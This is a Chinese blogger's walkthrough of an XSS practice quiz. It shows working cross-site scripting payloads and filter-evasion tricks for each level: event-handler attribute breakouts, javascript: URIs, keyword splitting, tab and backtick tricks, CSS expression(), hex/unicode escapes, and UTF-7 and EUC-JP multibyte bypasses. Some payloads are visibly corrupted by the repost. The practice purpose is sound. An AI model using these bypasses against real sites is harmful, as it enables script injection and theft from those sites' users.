首页 > 代码库 > XSS quiz练习题做题过程及感悟

XSS quiz练习题做题过程及感悟

XSS quiz

最近刚学XSS。所以新手理解如有错误不当,欢迎批评指正。

第1题

一开始做,使用了Chrome浏览器。第一题怎么都做不出来。突然想起来使用IE,打开IE11,才成功了。

<script>alert(document.domain);</script>

第2题

第二题,直接用这个不行。

查看源代码。

构造一个,把左边的< input ..... 封掉。

"><script>alert(document.domain);</script><"

第3题

随便搜点东西

构造

"</b></form><script>alert(document.domain);</script><from><b>"

也不行。

可见他过滤了尖括号和引号。<>” 分别变成了转义符 &lt;&gt;&quot;

我试试用 Jother。也不行

上网查阅资料,找到另一种回避 < > “ 的方法:Unicode编码

<  \u003c

>  \u003e

“  \u0022

也不行。

再试试Base64

data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=

 

data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+

 

似乎也不行。跪了

实在不行了。Hint里写,Hint: The input in text box is properly escaped.

网上的答案写:“但是输入点就不仅这处。”

只好在F12 Console里写:

alert(document.domain)

弹窗。不知出题者什么意思。。。估计不是这个意思。

 

什么叫输入点不仅此处?尝试使用工具 WebScarab:

改下面的。在Japan后加上

<script>alert(document.domain);</script>

弹窗成功。

在Firefox的FireBug下,直接修改也行。不知道出题的意思是什么。

 

第4题

发现了这个东西:多出来的

我把它改为了 type=text,直接输入下文:

"><img src=http://www.mamicode.com/# one rror=alert(document.domain)>

 

第5题

一开始没注意有什么。没有过滤。突然发现有长度限制15字符。

直接把15改为999。然后填写,弹窗成功。

也可以用WebScarab拦截POST包,修改。可以绕过15字符限制。成功弹窗。

后来看了网上答案,似乎也是用代理拦截。

 

第6题

这次随便输入东西。发现 <>号被转义为 &lt;&gt;

尝试利用前面的知识:Unicode编码。似乎不行。

突然想起,用这个代码,不需要尖括号:

" onm ouseover=alert(document.domain) align="left

弹窗成功。

看答案是基本一样的。

 

第7题

这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把&<>” ‘ 这些符号都转义了。

&amp; &lt;&gt; &quot; &#39;

先来试试前面的Unicode和base64吧:

测试不行?

"><img src=http://www.mamicode.com/# one rror=alert(document.domain)><"

 

看Hint,Hint: nearly the same... but a bit more tricky.

差点忘了第6题的方法。只是引号不能用了。

突然发现 input的value没有引号。要啥引号!

 

123 onm ouseover=alert(document.domain)

鼠标滑过,弹窗成功。

看来代码还是要仔细看的。

 

第8题

这次的Search变成了Make a link。果然是输入一个地址,在下面生成一个同样的链接。

那目测要反射型?

但是测试一下发现,他过滤了引号。和尖括号。

" onclick=alert(document.domain) align="left

上面是不行的。

忍不住看一眼答案,瞬间明白了,直接在src里面插代码不就完了。

javascript:alert(document.domain)

这就行了

 

第9题

看代码,又一个hidden的input。

Hint: UTF-7 XSS

UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 为编码的邮件网关中传递信息。 UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。

 

nputn link.ver=alert(document.domain)不管了,先上FireBug爽一把:

我看到,这个hidden的input,name=”charset”,value=http://www.mamicode.com/”EUC-JP”。

这EUC-JP是日语的一种编码方式。

 

研究答案:

+ACI- onm ouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-

utf-7

实际测试:+编码为%2b

p1=1%2bACI- onm ouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp

 

突然在另一个答案上有注释:

现在只有IE支持utf-7所以IE下通过

我去,用了半天火狐了。转回IE

可惜IE也不行?什么情况?

 

第10题

这次<>”都没有过滤。

用了刚才一招:

" onm ouseover=alert(document.domain) align="left

没有弹窗。再看看代码,发现 domain这个词给我过滤了

恐怕要用编码。

 

对了,上边还有个hidden的input:

<input type="hidden" name="key" value="http://www.mamicode.com/tubhf22ui/qiq">

这是啥玩意?

搞了半天,忍不住看一眼答案,真是太巧妙了:

" onm ouseover=alert(document.domdomainain); x="

把domain过滤掉,两边合起来还是domain。

致以崇高敬意。

"ametoxBug

第11题

这一次什么都没有过滤。不知道会有什么花样。

直接上代码:" onm ouseover=alert(document.domdomainain); x="

我去,我的mouseover变为了xxx。而不是上一局的直接删除。

上一局的方法又不好使了。

 

再来一招:

"><img src=http://www.mamicode.com/# one rror=alert(document.domain)><"

我去,error这个词也过滤了。

 

我猜script也会过滤:

果然。<script></script>之间的都被删了。

 

这次的Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

src=http://www.mamicode.com/”javascript.......

因此也变为了javaxscript

 

看答案:使用了 &#09 (\t)把script隔开了。

用 "><a href="http://www.mamicode.com/javascr ipt:alert(document.domain);">12</a>

点击链接,火狐会直接打开新窗口

用IE,却可以弹窗。我勒个去?

 

第12题

这次value没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。

答案是:

``onmouseover=alert(document.domain);

一开始两个单引号。但是用火狐还是不行。用IE可以。

不对,不是单引号,而是ESC下面的键 ` ,ascii码为 96(0x60)。叫做反单引号。

答案写:

//这一关是吧00空字符,和20空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB键上面的那个代替。IE下通过、FF,chrome不行。

服了。

 

第13题

一个背景颜色的题,可惜会过滤我的引号。

关于style,expression,css等方面基本不懂。直接看答案吧。

网上某答案写

background-color:#f00;background:url("javascript:alert(document.domain);");

这种方式没有成功

另一个答案写:

在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件

aa:expression(onmouseover=function(){alert(document.domain)}) 

似乎也不行。

跪了

先用firebug弹窗,过了再说。

 

PS:14题开始使用IE8内核的浏览器时,回过头看一看:

两种都可以弹窗。

 

第14题

还是style的题。先看Hint: s/(url|script|eval|expression)/xxx/ig;

难道是升级版?试了一下,这四个词全变成了xxx。那么上一题的方法也不能用了。

再次看答案,

cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

看来是在里面插入空白注释来回避审查。

 

我使用IE11和Firefox都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的 点心浏览器(不是做广告),IE8内核。一直按F12切换内核太麻烦。这次弹窗了。那就决定使用它了。

 

第15题

这是一个javascript,使用了document.write。

先上代码:

");alert(document.domain);alert("

发现转义了<>”

用转义的ASCII码:

16进制,< 0x3c        >0x3e

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

发现单个\不成功。使用这个:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

成功弹窗。

 

PS:

做个小实验,本地HTML,

<script>

document.write("<script>alert(3)</script>");

</script>

不会弹窗。

<script>

document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");

</script>

上面这样转义,则会弹窗。(Chrome)

 

第16题

目测与15题类似。但是Hint加了一句。

Hint: "document.write();" and "s/\\x/\\\\x/ig;" 

再目测这是跟16进制过不去?

\x 会变为 x ,而\\x 还是\\x 。\\\x变为\\x。

试试十进制、八进制啥的。

<>的十进制是60和62。

\60script\62alert(document.domain);\60/script\62

仍然过滤了\。再次变为两个:

\\60script\\62alert(document.domain);\\60/script\\62

仍然不行。\\6集体消失。

试一下Unicode。参考前面的,

<  \u003c

>  \u003e

“  \u0022

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

可以了。                         

 

第17题

这一题有两个框。

 

看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。

 

提示:multi-byte character

euc-jp的编码范围:

byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF

byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE

byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE

两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);

现在发现原来是浏览器版本问题,别用IE8了过这个。

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

 

干脆跳过拉倒。

 

第18题

同样问题。

跳过拉倒。

 

第19题

这一题没有了input的框。只有一个指向自己的link。

那怎么办,直接console输入拉倒。(在地址栏输入javascript:alert(document.domain)也行)

 

全部通关。

XSS quiz练习题做题过程及感悟